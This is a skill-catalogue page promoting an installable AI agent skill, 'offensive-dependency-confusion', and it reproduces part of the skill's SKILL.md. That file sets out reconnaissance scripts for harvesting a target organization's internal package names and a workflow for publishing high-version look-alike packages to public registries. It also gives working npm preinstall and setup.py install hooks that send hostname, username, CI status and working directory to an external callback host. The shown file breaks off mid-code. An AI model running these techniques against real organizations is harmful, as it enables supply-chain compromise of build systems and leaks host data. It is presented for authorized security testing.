SkillAgentSearch skills...

offensive-dependency-confusion

Deep-dive offensive methodology for dependency confusion and namespace attacks across all major package ecosystems. Covers npm scope confusion exploiting the gap between public and private scoped packages and .npmrc misconfigurations where registry mappings fail to pin internal scopes exclusively.

Install / Use

npx skills add SnailSploit/Claude-Red --skill offensive-dependency-confusion

Installs into whichever agent you are using.

About this skill
📄

SKILL.md

Installable skill definition

Quality Score

96/100

Category

Security

Supported Platforms

Universal

Tags

Our assessment of offensive-dependency-confusion

offensive-dependency-confusion scores 96/100 on our quality scale, 128th of 653 Security skills we index (top 20%).

Its SKILL.md is 23 KB long, well organised into 86 sections with 32 code examples: a thorough specification that gives an agent plenty to work with.

With 6,850 GitHub stars, it is one of the more widely adopted skills in the catalogue.

Substance
30/30
Structure
20/20
Description
15/15
Adoption
16/20
Freshness
15/15

Maintenance, license and trust

  • The repository was last updated 6 days ago, so offensive-dependency-confusion is actively maintained.
  • It is released under the MIT license, a permissive license that allows use, modification and commercial use with attribution.
  • Its trust signals score 100/100, with no cautions. These come from repository metadata, not a code audit — read the skill file before letting an agent act on it.

Safety scan

No issues found

Our scan of the whole file found no instruction hijacking, hidden characters, credential access, data exfiltration or destructive commands.

Automated pattern scan on 2026-09-26. It catches known dangerous patterns, not every risk — read a skill before letting an agent act on it.

offensive-dependency-confusion compared with similar skills

All 4 of these similar skills score higher than offensive-dependency-confusion; compare them before choosing.

SkillScoreStarsUpdatedFormat
offensive-dependency-confusion (this skill)by SnailSploit966.8k6d agoSKILL.md
algorithmic-artby anthropics100177.9k4d agoSKILL.md
pptxby anthropics100177.9k4d agoSKILL.md
designby nextlevelbuilder100130.2k5d agoSKILL.md
ui-ux-pro-maxby nextlevelbuilder100130.2k5d agoSKILL.md

Frequently asked questions

How do I install offensive-dependency-confusion?
Run npx skills add SnailSploit/Claude-Red --skill offensive-dependency-confusion. The install tabs above show the steps for each supported agent.
Which AI agents does offensive-dependency-confusion work with?
It is written for Universal, as a SKILL.md file. Other agents that read the same format can often use it too.
Is offensive-dependency-confusion safe to use?
Our scan of the whole file found no instruction hijacking, hidden characters, credential access, data exfiltration or destructive commands. It is MIT-licensed and scores 100/100 on trust signals. Skills are instructions an agent will follow, so read the file before installing it and do not approve commands you do not understand.
Is offensive-dependency-confusion still maintained?
The repository was last updated 6 days ago, so offensive-dependency-confusion is actively maintained.

name: offensive-dependency-confusion description: "Deep-dive offensive methodology for dependency confusion and namespace attacks across all major package ecosystems. Covers npm scope confusion exploiting the gap between public and private scoped packages and .npmrc misconfigurations where registry mappings fail to pin internal scopes exclusively. Addresses PyPI namespace attacks through --extra-index-url resolution ordering, NuGet feed priority exploitation when multiple package sources are configured without clear directives, Maven and Gradle repository ordering where artifact resolution traverses repositories sequentially, Go module proxy abuse through GOPROXY misconfiguration, Ruby gems namespace squatting, and Docker image tag confusion with unqualified image references. Provides complete proof-of-concept methodology using safe callbacks including DNS canary via interactsh or Burp Collaborator and HTTP beacon with no destructive payload. Covers reconnaissance techniques for discovering internal package names through GitHub repository analysis, error message harvesting, JavaScript source map extraction, lock file parsing, job postings mentioning internal tools, and package manifest inspection. Directly references and builds upon Alex Birsan's seminal 2021 dependency confusion research. Each ecosystem section includes registry-specific exploitation mechanics, configuration vulnerabilities, and defensive countermeasures for engagement reporting."

Offensive Dependency Confusion and Namespace Attacks

Dependency confusion exploits a fundamental design tension in package managers: the need to resolve packages from multiple sources. When an organization maintains internal packages alongside public dependencies, the resolution logic becomes an attack surface. You exploit the gap between how developers intend packages to resolve and how package managers actually resolve them.

Alex Birsan's 2021 research demonstrated that this class of attack affected Apple, Microsoft, PayPal, Shopify, Netflix, Yelp, Tesla, and Uber, among others. The root cause -- preferring a higher-versioned public package over a lower-versioned private one -- remains exploitable wherever registry configuration is incomplete.

This skill provides ecosystem-specific exploitation techniques, safe PoC methodology, and comprehensive reconnaissance approaches for discovering internal package names during authorized engagements.

Quick Workflow

  1. Perform reconnaissance to discover internal/private package names used by the target.
  2. Identify the target's package ecosystems and registry configuration.
  3. Verify that candidate package names are unclaimed on the corresponding public registry.
  4. Prepare a safe PoC package with a DNS canary or HTTP callback and a high version number.
  5. Publish the PoC to the public registry with a clear security research description.
  6. Monitor the callback endpoint for execution confirmations from target infrastructure.
  7. Record callback metadata (hostname, username, CI flag, timestamp) as evidence.
  8. Remove the PoC package from the public registry after confirmation or engagement window closes.
  9. Document the full attack chain, impacted systems, and registry hardening recommendations.

Reconnaissance for Internal Package Names

Discovering what internal packages a target uses is the critical first step. You extract package names from every available artifact and signal.

Lock File Analysis

Lock files are the highest-fidelity source of internal package names. They list every resolved dependency with exact versions and, in some formats, the registry source.

# npm: package-lock.json reveals resolved URLs
# Internal packages often resolve to a private registry
cat package-lock.json | jq -r '
  .packages | to_entries[] |
  select(.value.resolved != null) |
  select(.value.resolved | test("registry.npmjs.org") | not) |
  .key
' | sed 's|node_modules/||' | sort -u

# yarn: yarn.lock includes registry URLs inline
grep -B1 'resolved "https://registry.yarnpkg.com' yarn.lock | \
  grep -v 'resolved' | sed 's/@.*//' | sort -u > public_packages.txt
grep -B1 'resolved "https://' yarn.lock | \
  grep -v 'resolved' | grep -v 'yarnpkg.com' | grep -v 'npmjs.org' | \
  sed 's/@.*//' | sort -u > possibly_internal.txt

# pip: requirements.txt may reference internal packages
# Look for packages not found on public PyPI
grep -v '^#' requirements.txt | grep -v '^\s*$' | \
  sed 's/[>=<!\[].*//; s/\s*$//' | while read pkg; do
    code=$(curl -s -o /dev/null -w "%{http_code}" "https://pypi.org/pypi/$pkg/json")
    [ "$code" = "404" ] && echo "[INTERNAL] $pkg"
  done

# Pipfile.lock contains source information
cat Pipfile.lock | jq -r '.default | keys[]' > pipfile_packages.txt

JavaScript Source Maps

Production JavaScript bundles sometimes ship with source maps or readable module paths that reveal internal package names.

# Extract source map URLs from JavaScript bundles
curl -s https://target.example.com/app.js | \
  grep -oP '//# sourceMappingURL=\K.*'

# Download and parse source map for internal module paths
curl -s https://target.example.com/app.js.map | \
  jq -r '.sources[]' | grep -E 'node_modules/(@[^/]+/[^/]+|[^/]+)' | \
  sed 's|.*node_modules/||; s|/.*||' | sort -u

# Look for webpack chunk manifests
curl -s https://target.example.com/ | \
  grep -oP 'src="[^"]*chunk[^"]*"' | \
  sed 's/src="//;s/"//' | while read chunk; do
    curl -s "https://target.example.com/$chunk" | \
      grep -oP '"[a-zA-Z@][a-zA-Z0-9_./-]+"' | sort -u
  done

Error Messages and Stack Traces

Application errors leak internal package names in stack traces and module resolution failures. Trigger 404 pages, API errors, and debug endpoints.

curl -s https://target.example.com/nonexistent 2>&1 | \
  grep -oP 'Cannot find module .?\K[a-zA-Z@][a-zA-Z0-9_.-/]+'
# Also search Wayback Machine for cached error pages with module names

GitHub Repository Mining

# Search GitHub for the organization's package manifests and registry configs
gh api search/code \
  -X GET \
  -f q='org:targetcorp filename:package.json registry.corp' \
  -f per_page=10 | jq -r '.items[].path'

# Search for .npmrc files that reveal scope-to-registry mappings
gh api search/code \
  -X GET \
  -f q='org:targetcorp filename:.npmrc' \
  -f per_page=10

# Search for requirements.txt with --extra-index-url
gh api search/code \
  -X GET \
  -f q='org:targetcorp extra-index-url filename:requirements' \
  -f per_page=10

# Search for NuGet.config with private feeds
gh api search/code \
  -X GET \
  -f q='org:targetcorp filename:nuget.config packageSources' \
  -f per_page=10

Additional Recon Sources

# Docker Hub, npm org scopes, PyPI author search
curl -s "https://hub.docker.com/v2/repositories/targetcorp/?page_size=100" | jq -r '.results[].name'
curl -s "https://registry.npmjs.org/-/org/targetcorp/package" | jq -r 'keys[]'
# Also mine job postings for internal tool names and library references

npm Scope Confusion

npm uses scoped packages (@scope/package-name) to namespace packages. The confusion arises when internal scoped packages are not properly mapped to a private registry, or when unscoped internal packages exist.

Unscoped Package Confusion

When an organization uses unscoped internal packages, npm resolves from the default registry (npmjs.org) unless explicitly overridden.

# Vulnerable .npmrc -- no registry override for internal packages
registry=https://registry.npmjs.org/
# Internal packages like "corp-utils" resolve from public npm
# Slightly better but still vulnerable .npmrc
registry=https://npm.corp.example.com/
# Falls back to public npm if the private registry does not have the package
# or if the public version is higher
# Check if unscoped internal names are claimable on public npm
target_packages="corp-utils internal-auth shared-config data-pipeline"
for pkg in $target_packages; do
  code=$(curl -s -o /dev/null -w "%{http_code}" "https://registry.npmjs.org/$pkg")
  echo "$pkg: HTTP $code"
done

Scoped Package Confusion

Even scoped packages are vulnerable if the scope-to-registry mapping is missing or misconfigured.

# Vulnerable .npmrc -- scope exists but no registry mapping
registry=https://registry.npmjs.org/
# @targetcorp/internal-lib resolves from public npm if the scope
# is not mapped to the private registry
# Correct .npmrc configuration (for reference in reports)
registry=https://registry.npmjs.org/
@targetcorp:registry=https://npm.corp.example.com/
# Now @targetcorp/* packages resolve exclusively from the private registry
# Check if the target's npm scope is claimed on public npm
curl -s "https://registry.npmjs.org/@targetcorp%2ftest-package" | jq '.error'
# "Not found" means the scope may be unclaimed
# Try to register the scope on npmjs.org if it is not reserved

npm PoC Package

{
  "name": "corp-internal-utils",
  "version": "999.0.0",
  "description": "Security research - dependency confusion PoC - contact security@researcher.example",
  "scripts": {
    "preinstall": "node callback.js || true"
  }
}
// callback.js -- safe metadata collection for npm PoC
const https = require('https');
const os = require('os');
const dns = require('dns');

// DNS canary (works even with outbound HTTP filtering)
const label = `npm-${os.hostname().slice(0, 20)}-${os.userInfo().username}`;
dns.resolve(`${label}.your-id.interact.sh`, () => {});

// HTTP callback with minimal metadata
const payload = JSON.stringify({
  hostname: os.hostname(), username: os.userInfo().username,
  ci: process.env.CI || 'false', platform: os.platform(),
  cwd: process.cwd(), timestamp: new Date().toISOString()
});
const req = https.request({
  hostname: 'canary.researcher.example', path: '/npm-confusion',
  method: 'POST', headers: { 'Content-Type': 'application/json' }, timeout: 5000
}, () => {});
req.on('error', () => {});
req.write(payload);
req.end();

PyPI Namespace Attacks

Python's pip has two index configuration options with critically different security properties.

--extra-index-url vs --index-url

# VULNERABLE: --extra-index-url adds a second index alongside PyPI
pip install --extra-index-url https://pypi.corp.example.com/simple/ internal-lib
# pip checks BOTH PyPI and the private index, picks the highest version

# SAFE: --index-url replaces PyPI entirely
pip install --index-url https://pypi.corp.example.com/simple/ internal-lib
# pip ONLY checks the private index
# Vulnerable pip.conf (or pip.ini on Windows)
[global]
extra-index-url = https://pypi.corp.example.com/simple/
# All pip install commands now check both indexes

# Safe pip.conf
[global]
index-url = https://pypi.corp.example.com/simple/
# Public PyPI is no longer consulted

PyPI PoC Package

# setup.py -- PoC with install/develop/egg_info hook vectors
import os, sys, socket, urllib.request
from setuptools import setup
from setuptools.command.install import install
from setuptools.command.develop import develop
from setuptools.command.egg_info import egg_info

CANARY = "canary.researcher.example"
PKG = "internal-data-pipeline"

def safe_callback(phase):
    """DNS + HTTP callback with minimal metadata. No secrets, no file access."""
    try:
        h = socket.gethostname()[:30]
        u = os.getenv("USER", os.getenv("USERNAME", "unknown"))[:20]
        ci = "1" if any(os.getenv(v) for v in
            ["CI", "GITHUB_ACTIONS", "GITLAB_CI", "JENKINS_URL"]) else "0"
        label = f"pypi-{h}-{u}-{phase}-ci{ci}".replace(" ", "-").replace(".", "-")[:60]
        try: socket.getaddrinfo(f"{label}.your-id.interact.sh", 80)
        except socket.gaierror: pass
        data = f"pkg={PKG}&host={h}&user={u}&phase={phase}&ci={ci}".encode()
        urllib.request.urlopen(urllib.request.Request(
            f"https://{CANAR

Truncated for display — read the full file on GitHub.

Related Skills

View on GitHub
GitHub Stars6.8k
CategorySecurity
Updated6d ago
Forks896

Languages

Python

Trust signals

100/100

From repository metadata: license, adoption, age and documentation. Not a code audit — see the Safety scan above for what the skill file itself contains.

No cautions